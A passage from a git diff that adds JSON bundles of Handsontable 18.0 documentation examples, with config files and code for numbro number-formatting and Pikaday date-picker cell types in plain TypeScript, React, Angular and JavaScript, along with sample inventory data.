\"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\",\n \"numbro\": \"2.5.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\nimport { rendererFactory, getRenderer } from 'handsontable/renderers';\nimport { getEditor } from 'handsontable/editors';\nimport { getValidator } from 'handsontable/validators';\nimport { registerCellType } from 'handsontable/cellTypes';\nimport numbro from 'numbro';\nimport languages from 'numbro/dist/languages.min.js';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nObject.values(languages).forEach((language) => numbro.registerLanguage(language));\n\nfunction isNumeric(value: any): boolean {\n const type = typeof value;\n\n if (type === 'number') {\n return !isNaN(value) && isFinite(value);\n\n } else if (type === 'string') {\n if (value.length === 0) {\n return false;\n\n } else if (value.length === 1) {\n return /\\d/.test(value);\n }\n\n const delimiter = Array.from(new Set(['.']))\n .map(d => `\\\\${d}`)\n .join('|');\n\n return new RegExp(`^[+-]?(((${delimiter})?\\\\d+((${delimiter})\\\\d+)?(e[+-]?\\\\d+)?)|(0x[a-f\\\\d]+))$`, 'i')\n .test(value.trim());\n\n } else if (type === 'object') {\n return !!value && typeof value.valueOf() === 'number' && !(value instanceof Date);\n }\n\n return false;\n}\n\n/* start:skip-in-preview */\nconst data = [\n {\n id: 640329,\n itemName: 'Lunar Core',\n itemNo: 'XJ-12',\n leadEngineer: 'Ellen Ripley',\n cost: 350000,\n inStock: true,\n category: 'Lander',\n itemQuality: 87,\n origin: '🇺🇸 USA',\n quantity: 2,\n valueStock: 700000,\n repairable: false,\n supplierName: 'TechNova',\n restockDate: '2025-08-01',\n operationalStatus: 'Awaiting Parts',\n },\n {\n id: 863104,\n itemName: 'Zero Thrusters',\n itemNo: 'QL-54',\n leadEngineer: 'Sam Bell',\n cost: 450000,\n inStock: false,\n category: 'Propulsion',\n itemQuality: 0,\n origin: '🇩🇪 Germany',\n quantity: 0,\n valueStock: 0,\n repairable: true,\n supplierName: 'PropelMax',\n restockDate: '2025-09-15',\n operationalStatus: 'In Maintenance',\n },\n {\n id: 395603,\n itemName: 'EVA Suits',\n itemNo: 'PM-67',\n leadEngineer: 'Alex Rogan',\n cost: 150000,\n inStock: true,\n category: 'Equipment',\n itemQuality: 79,\n origin: '🇮🇹 Italy',\n quantity: 50,\n valueStock: 7500000,\n repairable: true,\n supplierName: 'SuitCraft',\n restockDate: '2025-10-05',\n operationalStatus: 'Ready for Testing',\n },\n {\n id: 679083,\n itemName: 'Solar Panels',\n itemNo: 'BW-09',\n leadEngineer: 'Dave Bowman',\n cost: 75000,\n inStock: true,\n category: 'Energy',\n itemQuality: 95,\n origin: '🇺🇸 USA',\n quantity: 10,\n valueStock: 750000,\n repairable: false,\n supplierName: 'SolarStream',\n restockDate: '2025-11-10',\n operationalStatus: 'Operational',\n },\n {\n id: 912663,\n itemName: 'Comm Array',\n itemNo: 'ZR-56',\n leadEngineer: 'Louise Banks',\n cost: 125000,\n inStock: false,\n category: 'Communication',\n itemQuality: 0,\n origin: '🇯🇵 Japan',\n quantity: 0,\n valueStock: 0,\n repairable: true,\n supplierName: 'CommTech',\n restockDate: '2025-12-20',\n operationalStatus: 'Decommissioned',\n },\n {\n id: 315806,\n itemName: 'Habitat Dome',\n itemNo: 'UJ-23',\n leadEngineer: 'Dr. Ryan Stone',\n cost: 1000000,\n inStock: true,\n category: 'Shelter',\n itemQuality: 93,\n origin: '🇨🇦 Canada',\n quantity: 3,\n valueStock: 3000000,\n repairable: false,\n supplierName: 'DomeInnovate',\n restockDate: '2026-01-25',\n operationalStatus: 'Operational',\n },\n];\n/* end:skip-in-preview */\n// Get the DOM element with the ID 'example1' where the Handsontable will be rendered\nconst container = document.querySelector('#example1')!;\nconst cellTypeDefinition = {\n renderer: rendererFactory(({ hotInstance, td, row, col, prop, value, cellProperties }) => {\n if (isNumeric(value)) {\n let classArr = [];\n\n if (Array.isArray(cellProperties.className)) {\n classArr = cellProperties.className;\n } else {\n const className = cellProperties.className ?? '';\n\n if (className.length) {\n classArr = className.split(' ');\n }\n }\n\n const numericFormat = cellProperties.numericFormat;\n const cellCulture = numericFormat && numericFormat.culture || 'en-US';\n const cellFormatPattern = numericFormat && numericFormat.pattern;\n\n // Register the language if it's not already registered\n if (cellCulture && !numbro.languages()[cellCulture]) {\n const shortTag = cellCulture.replace('-', '');\n const langData = numbro.allLanguages ? numbro.allLanguages[cellCulture] : numbro[shortTag];\n\n if (langData) {\n numbro.registerLanguage(langData);\n }\n }\n\n numbro.setLanguage(cellCulture);\n\n value = numbro(value).format(cellFormatPattern ?? '0');\n\n if (\n classArr.indexOf('htLeft') < 0 &&\n classArr.indexOf('htCenter') < 0 &&\n classArr.indexOf('htRight') < 0 &&\n classArr.indexOf('htJustify') < 0\n ) {\n classArr.push('htRight');\n }\n\n if (classArr.indexOf('htNumeric') < 0) {\n classArr.push('htNumeric');\n }\n\n cellProperties.className = classArr.join(' ');\n td.dir = 'ltr';\n }\n\n getRenderer('text')(hotInstance, td, row, col, prop, value, cellProperties);\n }),\n validator: getValidator('numeric'),\n editor: getEditor('numeric'),\n};\n\nregisterCellType('numbro', cellTypeDefinition);\n\n// Define configuration options for the Handsontable\nconst hotOptions: Handsontable.GridSettings = {\n data,\n colHeaders: ['Item Name', 'Category', 'Lead Engineer', 'Quantity', 'Cost'],\n autoRowSize: true,\n rowHeaders: true,\n height: 'auto',\n width: '100%',\n autoWrapRow: true,\n headerClassName: 'htLeft',\n columns: [\n { data: 'itemName', type: 'text', width: 130 },\n { data: 'category', type: 'text', width: 120 },\n { data: 'leadEngineer', type: 'text', width: 150 },\n {\n data: 'quantity',\n type: 'numbro',\n width: 150,\n className: 'htRight',\n numericFormat: {\n pattern: '0,0',\n culture: 'en-US',\n },\n },\n {\n data: 'cost',\n type: 'numbro',\n width: 120,\n className: 'htRight',\n numericFormat: {\n pattern: '$0,0.00',\n culture: 'en-US',\n },\n },\n ],\n licenseKey: 'non-commercial-and-evaluation',\n};\n\n// Initialize the Handsontable instance with the specified configuration options\n// eslint-disable-next-line no-unused-vars\nconst hot = new Handsontable(container, hotOptions);","/src/main.ts":"import \"../index.ts\";"},"docsPath":"recipes/cell-types/numbro/javascript/example1.ts","breadcrumb":["Recipes","Cell Types","Numbro"],"guide":"recipes/cell-types/numbro/numbro.md","guideTitle":"Numbro","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/recipes/cell-types/numbro","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/recipes__cell-types__numbro__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__cell-types__numbro__react__example1.tsx.json new file mode 100644 index 00000000..5e2b0acc --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/recipes__cell-types__numbro__react__example1.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Recipes ▸ Cell Types ▸ Numbro · Standard example · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\",\n \"numbro\": \"2.5.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example1\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable, HotColumn } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\nimport { rendererFactory, getRenderer } from 'handsontable/renderers';\nimport { getEditor } from 'handsontable/editors';\nimport { getValidator } from 'handsontable/validators';\nimport { registerCellType } from 'handsontable/cellTypes';\nimport numbro from 'numbro';\nimport languages from 'numbro/dist/languages.min.js';\n\nregisterAllModules();\nObject.values(languages).forEach((language) => numbro.registerLanguage(language as numbro.NumbroLanguage));\n\nfunction isNumeric(value: unknown): boolean {\n const type = typeof value;\n\n if (type === 'number') {\n return !isNaN(value as number) && isFinite(value as number);\n } else if (type === 'string') {\n const str = value as string;\n\n if (str.length === 0) {\n return false;\n } else if (str.length === 1) {\n return /\\d/.test(str);\n }\n\n const delimiter = Array.from(new Set(['.']))\n .map((d) => `\\\\${d}`)\n .join('|');\n\n return new RegExp(`^[+-]?(((${delimiter})?\\\\d+((${delimiter})\\\\d+)?(e[+-]?\\\\d+)?)|(0x[a-f\\\\d]+))$`, 'i').test(\n str.trim()\n );\n } else if (type === 'object') {\n return !!value && typeof (value as object).valueOf() === 'number' && !(value instanceof Date);\n }\n\n return false;\n}\n\nconst cellTypeDefinition = {\n renderer: rendererFactory(({ hotInstance, td, row, col, prop, value, cellProperties }) => {\n if (isNumeric(value)) {\n let classArr: string[] = [];\n\n if (Array.isArray(cellProperties.className)) {\n classArr = cellProperties.className as string[];\n } else {\n const className = (cellProperties.className as string) ?? '';\n\n if (className.length) {\n classArr = className.split(' ');\n }\n }\n\n const numericFormat = cellProperties.numericFormat as { culture?: string; pattern?: string } | undefined;\n const cellCulture = (numericFormat && numericFormat.culture) || 'en-US';\n const cellFormatPattern = numericFormat && numericFormat.pattern;\n\n if (cellCulture && !numbro.languages()[cellCulture]) {\n const shortTag = cellCulture.replace('-', '');\n const langData = (numbro as any).allLanguages ? (numbro as any).allLanguages[cellCulture] : (numbro as any)[shortTag];\n\n if (langData) {\n numbro.registerLanguage(langData);\n }\n }\n\n numbro.setLanguage(cellCulture);\n value = numbro(value as number).format(cellFormatPattern ?? '0');\n\n if (\n classArr.indexOf('htLeft') < 0 &&\n classArr.indexOf('htCenter') < 0 &&\n classArr.indexOf('htRight') < 0 &&\n classArr.indexOf('htJustify') < 0\n ) {\n classArr.push('htRight');\n }\n\n if (classArr.indexOf('htNumeric') < 0) {\n classArr.push('htNumeric');\n }\n\n cellProperties.className = classArr.join(' ');\n td.dir = 'ltr';\n }\n\n getRenderer('text')(hotInstance, td, row, col, prop, value, cellProperties);\n }),\n validator: getValidator('numeric'),\n editor: getEditor('numeric'),\n};\n\nregisterCellType('numbro', cellTypeDefinition);\n\n/* start:skip-in-preview */\ninterface InventoryItem {\n id: number;\n itemName: string;\n itemNo: string;\n leadEngineer: string;\n cost: number;\n inStock: boolean;\n category: string;\n itemQuality: number;\n origin: string;\n quantity: number;\n valueStock: number;\n repairable: boolean;\n supplierName: string;\n restockDate: string;\n operationalStatus: string;\n}\n\nconst data: InventoryItem[] = [\n {\n id: 640329,\n itemName: 'Lunar Core',\n itemNo: 'XJ-12',\n leadEngineer: 'Ellen Ripley',\n cost: 350000,\n inStock: true,\n category: 'Lander',\n itemQuality: 87,\n origin: '🇺🇸 USA',\n quantity: 2,\n valueStock: 700000,\n repairable: false,\n supplierName: 'TechNova',\n restockDate: '2025-08-01',\n operationalStatus: 'Awaiting Parts',\n },\n {\n id: 863104,\n itemName: 'Zero Thrusters',\n itemNo: 'QL-54',\n leadEngineer: 'Sam Bell',\n cost: 450000,\n inStock: false,\n category: 'Propulsion',\n itemQuality: 0,\n origin: '🇩🇪 Germany',\n quantity: 0,\n valueStock: 0,\n repairable: true,\n supplierName: 'PropelMax',\n restockDate: '2025-09-15',\n operationalStatus: 'In Maintenance',\n },\n {\n id: 395603,\n itemName: 'EVA Suits',\n itemNo: 'PM-67',\n leadEngineer: 'Alex Rogan',\n cost: 150000,\n inStock: true,\n category: 'Equipment',\n itemQuality: 79,\n origin: '🇮🇹 Italy',\n quantity: 50,\n valueStock: 7500000,\n repairable: true,\n supplierName: 'SuitCraft',\n restockDate: '2025-10-05',\n operationalStatus: 'Ready for Testing',\n },\n {\n id: 679083,\n itemName: 'Solar Panels',\n itemNo: 'BW-09',\n leadEngineer: 'Dave Bowman',\n cost: 75000,\n inStock: true,\n category: 'Energy',\n itemQuality: 95,\n origin: '🇺🇸 USA',\n quantity: 10,\n valueStock: 750000,\n repairable: false,\n supplierName: 'SolarStream',\n restockDate: '2025-11-10',\n operationalStatus: 'Operational',\n },\n {\n id: 912663,\n itemName: 'Comm Array',\n itemNo: 'ZR-56',\n leadEngineer: 'Louise Banks',\n cost: 125000,\n inStock: false,\n category: 'Communication',\n itemQuality: 0,\n origin: '🇯🇵 Japan',\n quantity: 0,\n valueStock: 0,\n repairable: true,\n supplierName: 'CommTech',\n restockDate: '2025-12-20',\n operationalStatus: 'Decommissioned',\n },\n {\n id: 315806,\n itemName: 'Habitat Dome',\n itemNo: 'UJ-23',\n leadEngineer: 'Dr. Ryan Stone',\n cost: 1000000,\n inStock: true,\n category: 'Shelter',\n itemQuality: 93,\n origin: '🇨🇦 Canada',\n quantity: 3,\n valueStock: 3000000,\n repairable: false,\n supplierName: 'DomeInnovate',\n restockDate: '2026-01-25',\n operationalStatus: 'Operational',\n },\n];\n/* end:skip-in-preview */\n\nconst ExampleComponent = () => {\n return (\n \n \n \n \n \n \n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"recipes/cell-types/numbro/react/example1.tsx","breadcrumb":["Recipes","Cell Types","Numbro"],"guide":"recipes/cell-types/numbro/numbro.md","guideTitle":"Numbro","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/recipes/cell-types/numbro","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/recipes__cell-types__pikaday__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__cell-types__pikaday__angular__example1.ts.json new file mode 100644 index 00000000..12e75fb6 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/recipes__cell-types__pikaday__angular__example1.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Recipes ▸ Cell Types ▸ Pikaday · Standard example · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\",\n \"moment\": \"2.30.1\",\n \"@handsontable/pikaday\": \"1.0.0\"\n },\n \"devDependencies\": {\n \"@types/moment\": \"2.13.0\"\n }\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component, ChangeDetectionStrategy, ElementRef, ViewChild } from '@angular/core';\nimport {\n HotCellEditorAdvancedComponent,\n HotCellRendererAdvancedComponent,\n GridSettings,\n HotTableModule\n} from '@handsontable/angular-wrapper';\nimport moment from 'moment';\nimport Pikaday from '@handsontable/pikaday';\n\nconst DATE_FORMAT_US = 'MM/DD/YYYY';\n\n@Component({\n standalone: true,\n selector: 'example1-pikaday-editor',\n template: `
    `,\n styles: [\n `\n :host { display: block; }\n .pikaday-container { min-height: 250px; }\n `,\n ],\n})\nexport class PikadayEditorComponent extends HotCellEditorAdvancedComponent {\n @ViewChild('container', { static: true }) container!: ElementRef;\n private pikaday: Pikaday | null = null;\n\n override afterOpen(): void {\n const FORMAT = DATE_FORMAT_US;\n\n this.pikaday = new Pikaday({\n field: this.container.nativeElement,\n container: this.container.nativeElement,\n bound: false,\n format: FORMAT,\n onSelect: (date: Date) => {\n this.setValue(moment(date).format(FORMAT));\n },\n onClose: () => {\n this.finishEdit.emit();\n },\n });\n\n if (this.value) {\n const m = moment(this.value, FORMAT, true);\n\n if (m.isValid()) {\n (this.pikaday as any).setMoment?.(m);\n }\n }\n\n this.pikaday.show();\n }\n\n override afterClose(): void {\n this.pikaday?.destroy();\n this.pikaday = null;\n }\n\n override onFocus(): void {\n this.container.nativeElement.focus();\n }\n}\n\n@Component({\n standalone: true,\n selector: 'example1-pikaday-renderer',\n changeDetection: ChangeDetectionStrategy.OnPush,\n template: `{{ formattedDate }}`,\n})\nexport class PikadayRendererComponent extends HotCellRendererAdvancedComponent {\n get formattedDate(): string {\n if (!this.value) return '';\n const m = moment(this.value, DATE_FORMAT_US, true);\n\n return m.isValid() ? m.format(DATE_FORMAT_US) : this.value;\n }\n}\n\n@Component({\n standalone: true,\n imports: [HotTableModule],\n selector: 'example1-pikaday',\n template: `
    `,\n})\nexport class AppComponent {\n readonly data = [\n {\n itemName: 'Lunar Core',\n category: 'Lander',\n leadEngineer: 'Ellen Ripley',\n restockDate: '08/01/2025',\n cost: 350000,\n },\n {\n itemName: 'Zero Thrusters',\n category: 'Propulsion',\n leadEngineer: 'Sam Bell',\n restockDate: '09/15/2025',\n cost: 450000,\n },\n {\n itemName: 'EVA Suits',\n category: 'Equipment',\n leadEngineer: 'Alex Rogan',\n restockDate: '10/05/2025',\n cost: 150000,\n },\n {\n itemName: 'Solar Panels',\n category: 'Energy',\n leadEngineer: 'Dave Bowman',\n restockDate: '11/10/2025',\n cost: 75000,\n },\n {\n itemName: 'Comm Array',\n category: 'Communication',\n leadEngineer: 'Louise Banks',\n restockDate: '12/20/2025',\n cost: 125000,\n },\n {\n itemName: 'Habitat Dome',\n category: 'Shelter',\n leadEngineer: 'Dr. Ryan Stone',\n restockDate: '01/25/2026',\n cost: 1000000,\n },\n ];\n\n readonly gridSettings: GridSettings = {\n colHeaders: ['Item Name', 'Category', 'Lead Engineer', 'Restock Date', 'Cost'],\n autoRowSize: true,\n rowHeaders: true,\n height: 'auto',\n width: '100%',\n autoWrapRow: true,\n headerClassName: 'htLeft',\n columns: [\n { data: 'itemName', type: 'text', width: 130 },\n { data: 'category', type: 'text', width: 120 },\n { data: 'leadEngineer', type: 'text', width: 150 },\n {\n data: 'restockDate',\n width: 150,\n allowInvalid: false,\n editor: PikadayEditorComponent,\n renderer: PikadayRendererComponent,\n } as any,\n {\n data: 'cost',\n type: 'numeric',\n width: 120,\n className: 'htRight',\n numericFormat: {\n pattern: '$0,0.00',\n culture: 'en-US',\n },\n },\n ],\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"recipes/cell-types/pikaday/angular/example1.ts","breadcrumb":["Recipes","Cell Types","Pikaday"],"guide":"recipes/cell-types/pikaday/pikaday.md","guideTitle":"Pikaday","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/recipes/cell-types/pikaday","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/recipes__cell-types__pikaday__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__cell-types__pikaday__javascript__example1.js.json new file mode 100644 index 00000000..6352e238 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/recipes__cell-types__pikaday__javascript__example1.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Recipes ▸ Cell Types ▸ Pikaday · Standard example · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"moment\": \"2.30.1\",\n \"@handsontable/pikaday\": \"1.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\nimport moment from 'moment';\nimport Pikaday from '@handsontable/pikaday';\nimport { editorFactory } from 'handsontable/editors';\nimport { rendererFactory } from 'handsontable/renderers';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst DATE_FORMAT_US = 'MM/DD/YYYY';\nconst DEFAULT_DATE_FORMAT = DATE_FORMAT_US;\n/* start:skip-in-preview */\nconst inputData = [\n {\n id: 640329,\n itemName: 'Lunar Core',\n itemNo: 'XJ-12',\n leadEngineer: 'Ellen Ripley',\n cost: 350000,\n inStock: true,\n category: 'Lander',\n itemQuality: 87,\n origin: '🇺🇸 USA',\n quantity: 2,\n valueStock: 700000,\n repairable: false,\n supplierName: 'TechNova',\n restockDate: '2025-08-01',\n operationalStatus: 'Awaiting Parts',\n },\n {\n id: 863104,\n itemName: 'Zero Thrusters',\n itemNo: 'QL-54',\n leadEngineer: 'Sam Bell',\n cost: 450000,\n inStock: false,\n category: 'Propulsion',\n itemQuality: 0,\n origin: '🇩🇪 Germany',\n quantity: 0,\n valueStock: 0,\n repairable: true,\n supplierName: 'PropelMax',\n restockDate: '2025-09-15',\n operationalStatus: 'In Maintenance',\n },\n {\n id: 395603,\n itemName: 'EVA Suits',\n itemNo: 'PM-67',\n leadEngineer: 'Alex Rogan',\n cost: 150000,\n inStock: true,\n category: 'Equipment',\n itemQuality: 79,\n origin: '🇮🇹 Italy',\n quantity: 50,\n valueStock: 7500000,\n repairable: true,\n supplierName: 'SuitCraft',\n restockDate: '2025-10-05',\n operationalStatus: 'Ready for Testing',\n },\n {\n id: 679083,\n itemName: 'Solar Panels',\n itemNo: 'BW-09',\n leadEngineer: 'Dave Bowman',\n cost: 75000,\n inStock: true,\n category: 'Energy',\n itemQuality: 95,\n origin: '🇺🇸 USA',\n quantity: 10,\n valueStock: 750000,\n repairable: false,\n supplierName: 'SolarStream',\n restockDate: '2025-11-10',\n operationalStatus: 'Operational',\n },\n {\n id: 912663,\n itemName: 'Comm Array',\n itemNo: 'ZR-56',\n leadEngineer: 'Louise Banks',\n cost: 125000,\n inStock: false,\n category: 'Communication',\n itemQuality: 0,\n origin: '🇯🇵 Japan',\n quantity: 0,\n valueStock: 0,\n repairable: true,\n supplierName: 'CommTech',\n restockDate: '2025-12-20',\n operationalStatus: 'Decommissioned',\n },\n {\n id: 315806,\n itemName: 'Habitat Dome',\n itemNo: 'UJ-23',\n leadEngineer: 'Dr. Ryan Stone',\n cost: 1000000,\n inStock: true,\n category: 'Shelter',\n itemQuality: 93,\n origin: '🇨🇦 Canada',\n quantity: 3,\n valueStock: 3000000,\n repairable: false,\n supplierName: 'DomeInnovate',\n restockDate: '2026-01-25',\n operationalStatus: 'Operational',\n },\n {\n id: 954632,\n itemName: 'Oxygen Unit',\n itemNo: 'FK-87',\n leadEngineer: 'Dr. Grace Augustine',\n cost: 600000,\n inStock: true,\n category: 'Life Support',\n itemQuality: 85,\n origin: '🇺🇸 USA',\n quantity: 15,\n valueStock: 9000000,\n repairable: true,\n supplierName: 'OxyGenius',\n restockDate: '2026-03-02',\n operationalStatus: 'Awaiting Parts',\n },\n {\n id: 734944,\n itemName: 'Processing Rig',\n itemNo: 'LK-13',\n leadEngineer: 'Jake Sully',\n cost: 350000,\n inStock: true,\n category: 'Mining',\n itemQuality: 81,\n origin: '🇦🇺 Australia',\n quantity: 25,\n valueStock: 8750000,\n repairable: true,\n supplierName: 'RigTech',\n restockDate: '2026-04-15',\n operationalStatus: 'Ready for Testing',\n },\n {\n id: 834662,\n itemName: 'Navigation',\n itemNo: 'XP-24',\n leadEngineer: 'Dr. Ellie Arroway',\n cost: 450000,\n inStock: true,\n category: 'Navigation',\n itemQuality: 89,\n origin: '🇫🇷 France',\n quantity: 8,\n valueStock: 3600000,\n repairable: false,\n supplierName: 'NavSolutions',\n restockDate: '2026-05-30',\n operationalStatus: 'In Maintenance',\n },\n {\n id: 714329,\n itemName: 'Surveyor Arm',\n itemNo: 'QA-86',\n leadEngineer: 'Mark Watney',\n cost: 100000,\n inStock: true,\n category: 'Exploration',\n itemQuality: 78,\n origin: '🇺🇸 USA',\n quantity: 40,\n valueStock: 4000000,\n repairable: true,\n supplierName: 'ExploreTech',\n restockDate: '2026-07-12',\n operationalStatus: 'Decommissioned',\n },\n];\n\nconst data = inputData.map((item) => ({\n ...item,\n restockDate: moment(new Date(item.restockDate)).format(DATE_FORMAT_US),\n}));\n\n/* end:skip-in-preview */\n// Get the DOM element with the ID 'example1' where the Handsontable will be rendered\nconst container = document.querySelector('#example1');\nconst cellDefinition = {\n renderer: rendererFactory(({ td, value, cellProperties }) => {\n td.innerText = moment(new Date(value), cellProperties.renderFormat).format(cellProperties.renderFormat);\n }),\n editor: editorFactory({\n position: 'portal',\n shortcuts: [\n {\n keys: [['ArrowLeft']],\n callback: (editor, _event) => {\n // @ts-ignore\n editor.pickaday.adjustDate('subtract', 1);\n _event.preventDefault();\n },\n },\n {\n keys: [['ArrowRight']],\n callback: (editor, _event) => {\n // @ts-ignore\n editor.pickaday.adjustDate('add', 1);\n _event.preventDefault();\n },\n },\n {\n keys: [['ArrowUp']],\n callback: (editor, _event) => {\n // @ts-ignore\n 